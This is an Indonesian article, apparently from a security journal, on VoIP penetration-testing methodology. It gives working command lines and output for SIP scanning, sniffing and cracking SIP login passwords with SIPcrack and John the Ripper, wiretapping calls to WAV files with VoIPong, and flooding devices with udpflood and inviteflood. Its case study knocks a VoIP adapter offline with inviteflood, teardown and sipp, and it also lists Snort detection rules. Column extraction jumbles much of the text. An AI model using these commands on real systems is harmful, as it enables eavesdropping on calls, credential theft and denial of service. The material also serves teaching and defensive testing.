80

Metodologi Pengujian Keamanan

Jaringan VoIP

Hero Suhartono, S.Kom

IT Security Researcher

(dikalangan IT Underground dikenal dengan nama Lirva32)

Abstrak
Era Teknologi saat ini begitu cepat sekali berkembang, baik itu teknologi komputer mampun teknologi
telekomunikasi. Konfergensi dari kedua teknologi tersebut akhirnya menetas teknologi Voice Over Internet Protocol
(VoIP).
VoIP biasa disebut juga sebagai IP Telephony, Internet Telephony atau Digital Phone merupakan teknologi
yang memungkinkan percakapan suara jarak jauh melalui media internet (IP). Data suara diubah menjadi kode
digital dan dialirkan melalui jaringan yang mengirimkan paket-paket data dan bukan melalui sirkuit analog telepon
biasa. Jadi VoIP itu adalah suara yang dikirim melalui Internet Protocol (IP).
Pada era saat ini banyak sekali perusahaan-perusahaan mempergunakan layanan VoIP sebagai sarana
komunikasi dengan alasan biaya komunikasi yang dilakukan sangat relatif tidak mahal sehingga memangkas biaya
tagihan telephone.
Ketika layanan VoIP diimplementasikan, seharusnya pihak perusahaan melakukan pengujian terhadap jalur
VoIP yang dipergunakan agar benar-benar privasi perusahaan terjaga. Untuk melakukan pengujian terhadap jalur
VoIP maka diperlukan pengujian mempergunakan suatu metoda yaitu : VoIP Hacking Metodologi, metoda tersebut
akan memastikan bahwa jalur VoIP yang dipergunakan aman atau tidak.

I. Pendahuluan
4. VoIP Signaling Gateway Protocol
Voice Over Internet Protocol atau biasa juga
VoIP Gateway Signaling Protocol merupakan
disebut VoIP, IPTelephony, Internet Telephony atau
protocol gateway yang bertugas membagi VoIP
Digital Phone merupakan teknologi yang
signal ke dalam bentuk frame data dan
memungkinkan percakapan suara jarak jauh melalui
menyimpannya dalam bentuk voice packet, serta
media internet (IP). Data suara diubah menjadi kode
melanjutkan pengiriman voice packet
digital dan dialirkan melalui jaringan yang
mempergunakan protocol gateway yang mampu
mengirimkan paket-paket data, dan bukan melalui
mengirim multimedia data packet.
sirkuit analog telepon biasa. Jadi VoIP itu adalah
suara yang dikirim melalui internet protocol (IP).
Ini adalah beberapa VoIP Signaling Gateway
Sebelum kita bisa melakukan pengujian keamanan
Protocol, diantaranya adalah :
pada jalur VoIP, sebaiknya kita mengetahui beberapa
hal tentang VoIP, diantaranya : - H.323 : H.323
 81

- Megaco H.248 :GatewayControl Protocol - ITU G.729 - 8 Kbps, 10ms frames

- MGCP : Media Gateway Control Protocol
- LPC10 - 2.5 Kbps
- RVP over IP : Remote Voice Protocol Over IP
- SAPv2 Session Announcement Protocol - Speex - 2.15 to 44.2 Kbps, Free Open-
- SDP: Session Description Protocol
Source codec
- SGCP: Simple Gateway Control Protocol
- SIP : Session Initiation Protocol
- Skinny: Skinny Client Control Protocol (Cisco)
Perlu juga kita ketahui, untuk mendirikan
VoIP Signaling dan VoIP Media itu artinya
1. VoIP Media Protocol
kita harus mendirikan VoIP Server,
Protocol ini merupakan protocol yang bertugas
diantaranya :
melakukan konversi dan kompresi media ke
- Asterisk
dalam format tertentu yang dibutuhkan oleh VoIP
- Telephony Development Tool-Kit
Signaling. Protocol ini harus memiliki kemampuan
- Briker (base Asterisk)
untuk melakukan proses Audio, Video dan T.120
- Linux LiveCD VoIP Server
(Multipoint Data Conferencing and Real Time
- 3CX Phone System for Windows
Communication Protocols) dengan berbagai
- ceWarp VoIP SIP Server
kombinasi dan mampu melakukan penterjemahan
- miniSipServer
media secara full duplex.
- FreeSentral

Ini adalah beberapa VoIP Media Protocol,

diantaranya :
II. Levelisasi Penyerangan VoIP
- DVB : Digital Video Broadcasting
- H.261 : Video stream for transport Sebelum melakukan penyerangan terhadap
using the real-time transport jaringan berbasis VoIP, beberapa metode harus
- H.263 : Bitstream in the Real-time
Transport Protocol kita lakukan. Apakah metode yang akan
- RTCP : RTP Control Protocol dijabarkan disini ampuh ? Metode disini hanya
- RTP : Real-Time Transport
menjelaskan langkah-langkah yang dapat
2. VoIP Audio Codec digunakan untuk menempuh perjalanan dalam
Kompresi dan dekompresi untuk VoIP audio melakukan penyerangan. Masalah "bobol" atau
file, seperti : "tidak" sangat bergantung dalam penyetingan
- DoD CELP - 4.8 Kbps perangkat tersebut, namun tetap berpegang
- GIPS Family - 13.3 Kbps and up teguh dalam jargon "Tidak ada sistem yang
- iLBC - 15 Kbps, 20ms frames / 13.3 Kbps, 100%b aman !".
30ms frames Tapi sebelumnya saya akan membahas
- ITU G.711 - 64Kbps (a.k.a. alaw / ulaw) tentang jaringan VoIP secara levelisasi sehingga
- ITU G.722 - 48 / 56 / 64 Kbps kita bisa memahami tindakan penyerangan
- ITU G.723.1 - 5.3 / 6.3 Kbps, 30ms frames dengan baik dan benar.
- ITU G.726 - 16 / 24 / 32 / 40 Kbps
- ITU G.728 - 16 Kbps
 82

VoIP sendiri bersandar pada jaringan seperti : Buffer Overflows, penyerangan

komputer berbabasis TCP/IP, saya memberikan dengan Worm, Crashing dengan DoS
levelisasinya sebagai berikut : ataupun DdoS dan Weak Configiration.

1. Level 1 : VoIP Protocol

Apa yang bisa kita lakukan pada level ini ? 3. Level 3 : Support Service
ya, kita bisa melakukan kegiatan VoIP Ya, ini adalah layanan yang berjalan pada
Fraud, SPIT (VoIP Spamming), Phishing, devices yang menjadi target. Penyerangan
Malformed messages, Invite/Bycancel, bisa langsung tertuju pada layanan yang
Flodding, Call Hijacking, Call berjalan pada devices VoIP, misalkan saja
Eavesdropping dan Call Modification. layanan FTP, Telnet, HTTP, DHCP dan
layanan lainnya yang bisa kita dapatkan
Pada Level 1 ini bisa terdiri dari beberapa melalui kegiatan "scanning".
tehnikal ancaman, diantaranya : Apa yang bisa kita lakukan terhadap
layanan-layanan yang aktif ? ya, seperti
- VoIp Interception & Modification : call biasa saja misalnya melakukan kegiatan
black holing, call rerouting BruteForce (dictionary attack) terhadap
- fax alternation, conversation alternation, layanan Telnet, FTP, HTTP form Login,
conversation degrading DHCP resource exhaustion.
- conversation hijacking. VoIp
Eavesdropping : call patter tracking 4. Level 4 : Network Security
- number harvesting, fax recontruction, Mari kita serang bagian Network Security,
conversation recontruction tentu saja yang berbasis TCP dan UDP.

- VoIP DoS : request flodding, malformed Dengan cara apa menyerangnya ?, serang

requests, malformed messages saja dengan : SYNflood, ICMP flooding,

- QoS abuse, spoofed messages, call TFTP attack dan DDoS.

hijacking.
5. Level 5 : Physical Security

2. Level 2 : OS Security Hal ini kadang terlewatkan bahkan

Ini adalah level 2, kita akan melakukan terlupakan, sekali lagi kita bisa melakukan

penyerangan jika level 1 tidak bisa kita penyerangan terhadap hal-hal yang tidak

serang. Hasil penyerangan pada level ini mendapat perhatian, diantaranya : Total call

juga akan memiliki imbas terhadap jaringan server compromise, reboot dan jamming.

VoIP yang sedang berjalan.

Apa yang bisa kita lakukan pada level ini ? 6. Level 6 : Policies & Procedure

pada level ini kita bisa melakukan kegiatan

 83

Hal ini adalah hal yang terpikirkan tapi - CommView VoIP Analyzer, merupakan
hanya selintas, oleh karena itu kita bisa VoIP analisis modul dari aplikasi
melakukan penyerangan dari sisi level ini. commView yang mampu menangkap
Penyerangan yang biasa dilakukan adalah VoIP secara realtime dan melakukan
weak password, weak voicemail password, analisa VoIP event, seperti call flow,
dan abuse priviledge. signaling sessions, registrations, media
streams, errors.
III. VoIP Attacking Tools
- Oreka, aplikasi yang mampu merekam
Banyak sekali kegiatan yang bisa dilakukan dan mengambil kembali audio stream
dalam kegiatan attacking terhadap VoIP, tentu yang dikirim oleh SIP
saja hal tersebut disebabkan karena berbasis IP - PSIPDump, aplikasi yang dapat
(Internet Protocol), diantaranya Sniffing, VoIP melakukan dumping SIP session (+RTP
Packet Creation, Flooding Tools, Fuzzing, traffic) yang berasal dari pcap kedalam
Signaling Manipulation, Media Manipulation. disk
- rtpBreak, aplikasi yang dapat
Banyak sekali dukungan aplikasi/software yang melakukan rtpBreak detects,
bisa dipergunakan untuk melakukan penetrasi reconstructs dan analisis heuristics
testing terhadap security VoIP, yang pada RTP session melalui UDP network
akhirnya tools tersebut digunakan untuk traffic.
melakukan penyerangan terhadap VoIP, - RTCP packets
diantaranya : - VOMIT, aplikasi yang dapat
mengkonversi hasil percakapan yang
1. Voip Sniffing dilakukan oleh Cisco IP phone
Beberapa tools yang dapat digunakanuntuk kebentuk *.wav dan dapat langsung
sniffing adalah : didengarkan dengan menjalankan
sound player
- Etherpeek - Wireshark, multi-platform network traffic
- ILTY ("I'm Listening To You") analyzer
- AuthTool, dengan tools ini kita dapat - Web Interface for SIP Trace, aplikasi
mengetahui password user dengan berbasis Web PHP yang mengizinkan
menganalisa SIP traffic attacker untuk melakukan koneksi
- Cain & Abel, tools serba guna yang secara remote dan melakukan
salah satunya adalah memiliki penangkapan juga filterasi SIP dialog.
kemampuan untuk merekonstruksi RTP - SIPomatic, aplikasi yang dapat
media calls mendengarkan percakapan yang terjadi
pada SIP
 84

- SIPv6 Analyzer, aplikasi yang dapat host. Dengan SCTPScan kita dapat
menganalisa SIP dan IPv6 melakukan proses scanning untuk
- UCSniff, aplikasi yang dipergunakan mencari SCTP-speaking machines.
untuk melakukan proses audit terhadap - SIP-Scan, aplikasi SIP network
jaringan VoIP dengan menjalankan scanner.
beberapa test seperti unauthorized - SIPcrack, aplikasi yang dapat
VoIP eavesdropping terhadap SIP, melakukan proses cracking terhadap
Skinny signaling, G.711-ulaw and login SIP protocol (SIPdump
G.722 codecs, dan pengujian terhadap melakukan sniffing SIP logins melalui
MITM ARP Poisoning mode. jaringan komputer dan SIPcrack untuk
- VoiPong, aplikasi yang dapat melakukan passsword bruteforce
menditeksi seluruh VoIP calls pada terhadap sniffed login)
protocol pipeline, dapat melakukan - iaxscan, aplikasi berbasis python yang
encoded terhadap G711, dapat digunakan untuk mendeteksi live IAX/2
melakukan aktual dumps conversation hosts dan melakukan bruteforce
dengan membuat file *.wav secara terhadap account user.
terpisah. VoIPong dapat digunakan - iWa, IAX2 protocol Wardialer
untuk penetrasi terhadap VoIP server - SIPVicious Tool Suite, svmap, svwar,
berbasis : SIP, H323, Cisco's Skinny svcrack - svmap digunakan untuk SIP
Client Protocol, RTP dan RTCP. scanner dan menampilkan list SIP
devices dalam range IP, sedangkan
2. VoIP Scanning and Enumeration Tools svwar bertugas untuk mendeteksi
- VoIPPack, tools yang digunakan untuk active extensions pada sebuah PBX,
melakukan proses scannings, svcrack berperan melakukan cracking
enumeration, dan password attacks password SIP PBX secara online
terhadap jaringan VoIP. - SiVuS, SIP Vulnerability Scanner
- enumIAX, aplikasi yang digunakan - SMAP, SIP Stack Finger printing
untuk melakukan login enumerator Scanner
terhadap IAX2 (Asterisk) dengan - VoIPAudit, VoIP specific scanning dan
memanfaatkan REGREQ messages. vulnerability scanner
- SCTPScan, aplikasi yang dapat - nmap, network port scanner
melakukan proses enumerasi terhadap - Passive Vul. Scanner, aplikasi yang
port SCTP yang terbuka tanpa dapat melakukan pengecekan terhadap
melakukan koneksi terhadap SCTP kelemahan jaringan VoIP
secara penuh melainkan hanya - Sipflanker, aplikasi yang dapat mencari
memerlukan asosiasi terhadap remote SIP devices dengan menampilkan
 85

beberapa potensi kelemahan di dalam mengirimnya melalui jaringan, selai itu

network yang terdapat VoIP dapat melakukan RTP dan poisoning.
- SIPSCAN, aplikasi yang dapat - Interstate Fuzzer. Aplikasi VoIP Fuzzer
melakukan username enumerator saja
terhadap server SIP dengan - VoIP Fuzzing Platform Aplikasi fuzzing
mempergunakan metode appliance untuk SIP, Diameter, H.323
INVITE,REGISTER dan OPTIONS. dan MGCP protocols
- ohrwurm, small and simple RTP fuzzer
3. VoIP Packet Creation and Flooding - PROTOS H.323 Fuzzer. Aplikasi
Tools berbasis java yang dapat melakukan
"malformed" yang dapat dikirim ke
- IAXFlooder : packet flooder dengan
protocolmembuat
H.323. IAX packets
- INVITE Flooder : melakukan
- PROTOS SIP Fuzzer, Aplikasi berbasis
SIP INVITE messages
- SiPBlast : SIP Flood dengan
javamengemulasi
yang secara
dapat masal
melakukan
CPE call traffic
- kphone-ddos : mempergunakan KPhone untuk melakukan flooding attacks de
"malformed" yang dapat dikirim ke
- NSAUDITOR :
Flooder SIP UDP traffic Spirent ThreatEx : protocol fuzzer.
- RTP Flooder : Melakukan flooding dengan RTP Packets yang baik
- VoIPER. Aplikasi yang digunakan
- Scapy :
interactive packet manipulation program untuk melakukan testing terhadap VoIP
- SIPBomber : Aplikasi untuk
security vulnerabilties secara mudah
melakukan testing terhadap
sip-protocol dan otomatis.
testing tool
5. VoIP Signaling Manipulation Tools
- SIPNess : Tools untuk
melakukan
testing
- BYE Teardown. Aplikasi yang berupaya
terhadap
aplikasi SIP untuk memutuskan percakapan VoIP
- SIPp : Traffic
dengan melakukan SIP BYE sniffing
generator untuk SIP protocol
- SIPsak : VoIP swiss - Check Sync Phone Rebooter. Aplikasi
army knife.
yang dapat mengirimkan special
NOTIFY SIP message dengan
4. VoIP Fuzzing Tools
melakukan proses “reboot” telephone
tertentu
- Asteroid. Aplikasi yang mampu
- H225regregject. Aplikasi yang
melakukan "malformed SIP" dengan beberapa metoda seperti : INVITE, CANCEL, BYE, yang dapat
digunakan untuk memutuskan
- Codenomicon VoIP Fuzzers
panggilan H.323.
- Fuzzy Packet. Aplikasi yang dapat
- IAXAuthJack, aplikasi yang biasa
memanipulasi pesan dengan packet
digunakan untuk tindakan penyerangan
capturing, packet injection dan
terhadap proses autentikasi sampai
 86

tingkat endpoint dengan tujuan untuk dalam percakapan masal (talking

mendapatkan plaintext password parties)
melalui jaringan - VoIP Network Attack Toolkit. Aplikasi
- IAXHangup, aplikasi yang digunakan yang mampu melakukan penyerangan
untuk memutuskan panggilan yang terhadap berbagai VoIP Protocol
dilakukan oleh IAX dengan memanfaatkan kombinasi
- SiPCPE. Aplikasi yang mampu menguji nomor.
infrasturktur SIP protocol secara penuh
dengan memasukkan SIP messages Ternyata banyak sekali aplikasi-aplikasi
- RedirectPoison. Aplikasi yang bekerja yang bisa kita gunakan untuk melakukan
pada SIP signaling environment dengan kegiatan penyerangan terhadap VoIP.
melakukan proses monitoring Semoga saja aplikasi-aplikasi tersebut
permintaan INVITE dan SIP akan digunakan untuk implementasi yang benar.
memberikan respon secara langsung.
- Registration Eraser. Aplikasi yang
IV. Metodelogi Pengujian Jaringan VoIP
sangat efektif untuk melakukan
tindakan DoS dengan mengirim SIP Sebelumnya kita sudah mengenal levelisasi dan
REGISTER dari messages yang telah aplikasi yang biasa digunakan untuk melakukan
disadap dan melakukan penghapusan penyerangan terhadap jaringan berbasis VoIP,
user sekarang saatnya kita mengenal metodelogi
- Registration Hijacker. Aplikasi yang bagaimana cara menguji keamanan jaringan
dapat melakukan spoofing terhadap VoIP.
SIP REGISTER messages dan
mengalihkan seluruh incoming calls 1. VoIP Network Scanning
pada attacker VoIP environment tidak hanya sekedar
- SIP-Kill, aplikasi yang mampu telephone dan VoIP server melainkan juga
melakukan proses Sniff terhadap SIP- ada services dan devices lainnya, seperti :
INVITEs dan memutuskan panggilan routers, VPN gateways, web servers, TFTP
- SIP-Proxy-Kill. Aplikasi yang mampu servers, DNS servers, DHCP servers,
memutuskan SIP-Session RADIUS servers, firewalls, intrusion
- SIP-RedirectRTP. Aplikasi yang prevention systems, dan session border
mampu memanipulasi SDP headers controllers.
smap [Options] < ip | ip/mask | host >
dan mengalihkan RTP packets ke RTP-
proxy root@bt:~# apt-get install slurm-llnl
root@bt:~# ./smap 192.168.0.0/24
- SipRogue. Merupakan multifungsi SIP
proxy yang dapat menggabungkan diri
 87

hasil : * Starting to sniff with filter 'tcp or udp'

* Adding 192.168.0.1:50195 <-> 192.168.0.254:50451 to
smap 0.6.0 <hs@123.org> http://www.wormulon.net/ monitor list...id 0
* New traffic on monitored connection 0 (192.168.123.92 ->
Host 192.168.0.1:5060: (ICMP OK) SIP enabled 192.168.123.99)
Host 192.168.0.2:5060: (ICMP OK) SIP timeout * Found challenge response (192.168.123.92:50195 <->
Host 192.168.0.3:5060: (ICMP timeout) SIP enabled 192.168.123.99:50451)
... * Wrote sniffed login 192.168.123.92 ->192.168.123.99 (User:
... '222') to dump
... * file
Host 192.168.0.150:5060: (ICMP OK) SIP * Exiting, sniffed 1 logins
enabled Asterisk PBX (unknown version)
150 hosts scanned, 10 ICMP reachable,3 SIP enabled
4. VoIP Authentication
Keterangan: Hampir semua SIP Client dan SIP Devices
Beberapa hal yg menunjukkan adanya VoIP : port 5060, SIP,
mempergunakan proses autentikasi
Asterisk PBX
berbasis HTTP dengan digest/MD5 (RFC.
root@bt:~# ./smap -o 192.168.0.1
2617) yang memiliki beberapa kelemahan
smap 0.6.0 <hs@123.org> http://www.wormulon.net/ sehingga mudah dilakukan proses cracking
terhadap passwordnya.
Host 192.168.100.1:5060: (ICMP OK) SIP
enabled
SIPcrack + John The Ripper
1 hosts scanned, 1 ICMP reachable, 51SIP enabled
root@bt:~# mkfifo lirvadictionary
root@bt:~# john --incremental=alnum--stdout=8 >fifo l
2. VoIP Packet Capture irvadictionary

Menangkap paket data VoIP dalam jaringan root@bt:~# ./sipcrack -w lirvadictionarycrack -d sip-
logins.dump
target.
SIPcrack 0.1 ( MaJoMu | www.remote-exploit.org )

root@bt:~# tcpdump -s 0 -w net-capture.txt udp -i eth0

tcpdump: WARNING: eth0: no IPv4 address assigned * Reading and parsing dump file...
* Found Accounts:
tcpdump: listening on eth0, link-type EN10MB (Ethernet),
capture size 65535 byte
No Server Client User Algorithm Hash / Password
237 packets captured
474 packets received by filter
0 packets dropped by kernel 1 192.168.0.1 192.168.0.23 5421 MD5 x546 / xxda1cc1

3. VoIP Snffing * Select which entry to crack (1 – 1) : 1

* Generating static MD5 hash...
Mengintip paket data VoIP dalam jaringan
e718xxxxxxxxxxxxx9ff6c25aab955b2
target * Starting bruteforce against user '5421' (MD5 Hash:
'dfc9xxxxxxxxx546
* c08dc3xxxxxxxxc1')
root@bt:~# ./sipdump -d sip-logins.dump -f simpan-capture.txt
* Loaded wordlist: 'lirvadictionary'
* Tried 25 passwords in 100 seconds
SIPdump 0.1 (MaJoMu | www.remote-exploit.org )
* Found password: 'user5xx1'
----------------------------------------------------------------
* Updating 'sip-logins.dump'...done
* Using tcpdump data file 'simpan-capture.txt' for sniffing
 88

Catatan : Proses cracking bisa berhari-hari Connected to VoIPong Management Console

System:
lamanya. bt [Linux 2.6.38 #1 SMP Thu Mar 17 20:52:18 EDT 2011 i686]
voipong> shcall

5. VoIP Wiretapping
Adalah proses merekam suara yang ID NODE1 PORT1 NODE2 PORT2 STIME DURATION
---- ---------- ---------- ----------- --------------------- ----------------
mengalir pada sambungan Tlephone.
09534 192.168.0.1 05022 192.168.0.92 16260 13/02/07 17:26:32 9 seconds

root@bt:~# ./voipong Total listed: 1

VoIPong Call File Recording :

pasti gagal !! karena kita belum membuat
file : voipong.conf, yg isinya : root@bt:~# cd /var/log/voipong/20100610/
root@bt:~# ls *.wav
session-enc0-PCMU-8KHz-192.168.0.1,5022-
------------------------------------- voipong.conf -------------------------- 192.168.0.92,16260.wav
session-enc0-PCMU-8KHz-192.168.0.1,5026-
[GENERAL]
192.168.0.92,19088.wav
logdir = /var/log
logfile = voipong.log
cdrfile = /var/log/voipcdr.log 6. VoIP Flooding
networkfile = /usr/local/etc/voipong/voipongnets
Adalah proses membanjiri VoIP devices
pidfile = /var/run/voipong.pid
mgmt_ipcpat = /tmp/voipongmgmt.sock dengan packet data secara terus menerus.
soxpath = /usr/bin/sox
soxmixpath = /usr/bin/soxmix
UDPFlodding
modpath = /usr/local/etc/voipong/modules
mixwaves =0
defalg = lfp root@bt:~#./udpflood <EthernetInterface> <SourceName>
rtp_idle_time = 10 <DestinationName> <SourcePort> <DestinationPort>
device = eth0 <NumPackets>
promisc =1
snaplen = 1500 root@bt:~#./udpflood eth0 5000 lirva_machine asterisk_proxy
readtmt = 500 1000000
outdir = /var/log/voipong/
root@bt:~#./udpflood eth0 hacker_box asterisk_proxy 9 5060
[FILTERS] 1000000
startup = "udp"

SIP inviteFlood
-------------------------------- voipong.conf ---------------------------------
root@bt:~# voipong
root@bt:~#./inviteflood <EthInt> <TargetUser>
<TargetDomain> <DestinationIP> <NumPackets> –a Alias –
EnderUNIX VOIPONG Voice Over IP Sniffer starting...
I <SourceIP>–S <SourcePort> -d
Release 2.0, running on bt [Linux 2.6.38 #1 SMP Thu Mar 17
<DestinationPort> -l linestring -h -v
20:52:18 EDT 2011 i686]
(c) Murat Balaban http://www.enderunix.org/
root@bt:~#./inviteflood eth0 5000 asterisk_proxy
asterisk_proxy 1000
root@bt:~# voipctl
 89

V. Pertahanan pcre:"/^a\x3D[^\n]{1000,}/smi"; reference:bugtraq,16213;

reference:
Jangan hanya bisa menyerang ! ya, ironis sekali cve,2006-0189; classtype:misc-attack; sid:100000223; rev:1;)

kalau kita hanya menyerang tapi ga bisa bisa

bertahan, oleh karena itu sebaiknya kita bisa Selesai sudah methodology penyerangan
melakukan pertahanan terhadap jaringan VoIP terhadap jaringan VoIP, pelajarilah secara
yang kita miliki. bertahap.
Bagaimana cara mempertahankannya? salah
satunya adalah membangun Snort Rule dan
Snort SIP Rule, seperti berikut ini :
VI. Studi Kasus Penyerangan : VoIP Boomber
SNORT VoIP Rule :

- Mencegah flooding pada SIP Pada tulisan sebelumnya saya banyak

menceritakan konsep dasar VOIP attacking dan
drop ip any any -> $HOME_NET 5060 (msg:"BLEEDING- konsep metodologi untuk melakukan
EDGE VOIP INVITE Message
penyerangan terhadap jaringan VoIP, maka kali
Flood"; content:"INVITE";depth:6; threshold: type both, track
by_src, count 100, ini kita akan melakukan penyerangan dan
seconds 60; classtype:attempted-dos; sid:2003192; rev:1;) melumpuhkan jaringan berbasis VoIP.

drop ip any any-> $HOME_NET 5060 (msg:"BLEEDING-

EDGE VOIP REGISTER Message Saya akan melakukan penyerangan terhadap
Flood"; content:"REGISTER"; depth:8; threshold:type both,
perangkat VoIP yang ada di rumah saya,
track by_src, count
100, seconds 60; classtype:attempted-dos;sid:2003193;rev:1;) perangkat tersebut hanya VoIP ATA. VoIP =
Voice Over IP, sedangkan ATA = Analog
- Unauthorized responses from SIP Server
Telephone Adapter. Intinya adalah sebuah
perangkat yang membuat telephone rumahan
drop ip $HOME_NET 5060 -> any any (msg:"BLEEDING-
EDGE VOIP Multiple
(analog phone) bisa dijadikan sebagai perangkat
Unathorized SIP Responses"; content:"SIP/2.0 401 VoIP.
Unauthorized";depth:24;threshold: type both, track by _ src,
Kalau saya gambarkan topologinya seperti ini:
count 5, seconds 360;
classtype:attempted-dos; sid:2003194; rev:1;)

SNORT SIP Rule :

- Rule submitted by rmkml

drop udp $EXTERNAL_NET any -> $HOME_NET 5060

(msg:"COMMUNITY EXPLOIT SIP UDP
Softphone overflow attempt";content:"|3B|branch|3D|";
content:"a|3D|";
 90

Laptop saya sudah mendapatkan IP dari

Selanjutnya, yang menjadi target saya adalah DHCP Server, yaitu : 192.168.1.68, mari
VoIP ATA. Perangkat ini akan saya lakukan lanjutkan pada langkah berikutnya.
tindakan destruktif sehingga VoIP ATA tidak bisa 2. Melakukan scanning untuk
digunakan untuk sementara dan terputus dari mengidetifikasikan host live. Pada langkah
jalur VoIP services. pertama sudah didapatkan IP :
192.168.1.68, maka langkah berikutnya
Teknik penyerangan ini berlaku pada semua saya akan melakukan pencarian informasi
pemodelan VoIP alias tidak terbatas pada yang lebih mendalam dengan melakukan
topologi yang disimulasikan. scanning massal.

Persiapan : Disini hanya diperlukan sedikit analisa saja,

1. Laptop yaitu menentukan 1segment range IP yang
2. OS Backtrack, saya menggunakan akan discanning massal, maka 1 range IP
Backtrack 5 code name : Revolution tersebut adalah IP : 192.168.1.1 sampai
3. wlan0, saya mempergunakan jaringan dengan IP : 192.168.1.254. Saya
wireless dalam penyerangan mempergunakan NMAP dengan metoda
"intense scan & no ping", dengan perintah
Kegiatan Penyerangan : sebagai berikut :
1. Memastikan IP pada interface wlan0. Ya,
saya harus memastikannya karena saya root@bt:~# nmap -T4 -A -v -Pn 192.168.1.1-254

terkoneksi pada sebuah Wireless AP

Router sehingga DHCP server
memberikan IP untuk devices yang saya
pergunakan :

Analisa :
 91

Analisa : Linksys/PAP2T-3.1.15(LS). Mari kita

lanjutkan pada proses fingerprint yang lebih
Didapatkan informasi bahwa pada IP bermutu:
:192.168.1.80 terindikasi sebagai perangkat
VoIP. root@bt:/pentest/voip/sipvicious# ./svmap.py 192.168.1.80 -d

Bagaimana menganalisanya ? Perhatikan

pada baris 29,30,31. Baris-baris
tersebut menunjukan kalau itu adalah
perangkat VoIP. Perhatikan juga pada baris
27 "80/tcp open tcpwrapped" yang
mengindikasikan bahwa perangkat VoIP
Analisa :
tersebut mengaktifkan metoda penyetingan
Hasil fingerprint tersebut kita mendapatkan
berbasis web base (http) yang dapat
:
menjadi target penyerangan berikutnya.
1. IP perangkat VoIP : 192.168.1.80,
dengan SIP port 5060
Untuk lebih detailnya maka akan dilakukan
2. Pada baris 3, didapatkanlah VoIP
proses "fingerprint" pada langkah
number extention yaitu : 100 yang
berikutnya.
didapat dari sip:100@1.1.1.1
3. Pada baris 3, didapatkan juga toTag
3. FingerPrint
number, yaitu : 388074baa08bb653i0
Kegiatan ini hanyalah kegiatan untuk
4. Pada baris 4, didapatkan juga fromTag
memastikan bahwa target yang menjadi
number, yaitu :
incaran adalah benar-benar target .

6330613830313530313363340137393
5303131393234
root@bt:/pentest/voip/sipvicious# ./svmap.py 192.168.1.1-254
5 Pada baris 5, didapatkan Call-ID, yaitu :
785522139741125439084511
6. Pada baris 7, didapatkan branch, yaitu :
z9hG4bK-3073480069
7. Pada baris 8 menerangkan bahwa
Analisa :
Server berbasis: Linksys/PAP2T-
Ternyata benar bahwa IP 192.168.1.80
3.1.15(LS)
adalah perangkat VoIP dengan SIP Port
5060. Tidak hanya itu, merk dan series
perangkat VoIP pun bisa didapatkan yaitu :
 92

Sungguh sangat bermanfaat sekali * VoIP Enduser mengalami terputusnya

informasi tersebut dan sangat berguna koneksi
dalam melakukan penyerangan VoIP. * Semakin banyak jumlah paket dalam
yang dikirim berarti
semakin lama berhentinya VoIP devices
4. Penyerangan Mari kita lakukan target !!
penyerangan, ingat penyerangan ini hanya
untuk pembelajaran saja, segala tindakan tearDown attacking :
destruktif saya tidak bertanggung jawab. Penyerangan dengan melumpuhkan semua
client (user) yang terkoneksi pada VoIP
InviteFlood : devices.
Teknik penyerangan yang seolah2 VoIP
devices diajak untuk melakukan komunikasi Pada OS Backtrack 5 aplikasi teardown
dengan banyak user. tidak tersedia oleh karena itu kita harus
mengambilnya a.k.a download di :
root@bt:/pentest/voip/inviteflood# http://www.hackingvoip.com/tools/teardown.
./inviteflood <interface> <ekstensi> <IP_Domain>
<IPHost_Target> <JlhPaket_Data>
tar.gz, jangan lupa aplikasi ini
membutuhkan Ruby 1.8 keatas.
root@bt:/pentest/voip/inviteflood# ./inviteflood wlan0 100
Untuk menggunakan "tearDown" diperlukan
192.168.1.80 192.168.1.80 10000000
hasil analisa dari fingerprint (proses 3),
yaitu :
1. IP perangkat VoIP : 192.168.1.80,
dengan SIP port 5060
2. Pada baris 3, didapatkanlah VoIP
number extention yaitu : 100 yang
didapat dari sip:100@1.1.1.1
Hasil selama pengiriman paket data 3. Pada baris 3, didapatkan juga toTag
berlangsung : number, yaitu : 388074baa08bb653i0
* root@bt:/pentest/voip/sipp# ping 4. Pada baris 4, didapatkan juga fromTag
192.168.1.80 number, yaitu :
PING 192.168.1.80 (192.168.1.80) 56(84) 63306138303135303133633401373935
bytes of data. 303131393234
(berhenti tanpa respon apapun) 5. Pada baris 5, didapatkan Call-ID, yaitu :
785522139741125439084511
* Port 80 HTTP pun berhenti 6. Pada baris 7, didapatkan branch, yaitu :
* Jalur VoIP tidak bisa dihubungi z9hG4bK-3073480069
 93

Mari gunakan informasi tersebut sebagai o Berlebihan karena limit-calls = 48

parameter penyerangan dengan tearDown, sedangkan total-calls sudah mencapai
sbb : = 365.

root@bt:/pentest/voip/teardown# VII. Kesimpulan

./teardown <interface> <extention> <sip_proxy> <IP_target>
<callID> <fromTag> <toTag>
Pada era saat ini banyak sekali
./teardown wlan0 100 192.168.1.80 192.168.1.80
perusahaan-perusahaan mempergunakan
785522139741125439084511
63306138303135303133633401373935303131393234 layanan VoIP sebagai sarana komunikasi
388074baa08bb653i0 dengan alasan biaya komunikasi yang dilakukan
relatif tidak mahal sehingga memangkas biaya
tagihan telephone.
Ketika layanan VoIP diimplementasikan
seharusnya pihak perusahaan melakukan
pengujian terhadap jalur VoIP yang
dipergunakan agar benar-benar privasi
Hasil penyerangan : perusahaan terjaga. Untuk melakukan
* Jalur komunikasi VoIP yang dipergunakan pengujian terhadap jalur VoIP maka diperlukan
oleh user terputus !! pengujian mempergunakan suatu metoda yaitu :
VoIP Hacking Metodologi, metoda tersebut akan
SIP protocol attacking : memastikan bahwa jalur VoIP yang
dipergunakan aman atau tidak.
Penyerangan dengan cara memberikan
koneksi "total-call" user yang berlebihan
sehingga SIP tidak lagi mampu Referensi :
memberikan layanan. [x] http://voipsa.org
root@bt:/pentest/voip/sipp# ./sipp -sn uac <ip_target>
[x] http://www.hackingvoip.com
root@bt:/pentest/voip/sipp# ./sipp -sn uac 192.168.1.80
[x] http://www.wormulon.net
[x] http://remote-exploit.org/codes_sipcrack.html
[x] http://www.enderunix.org/voipong
[x] http://www.hackingexposedvoip.com

Hasil penyerangan :
o Layanan SIP terganggu bahkan
terhenti karena adanya total-call yang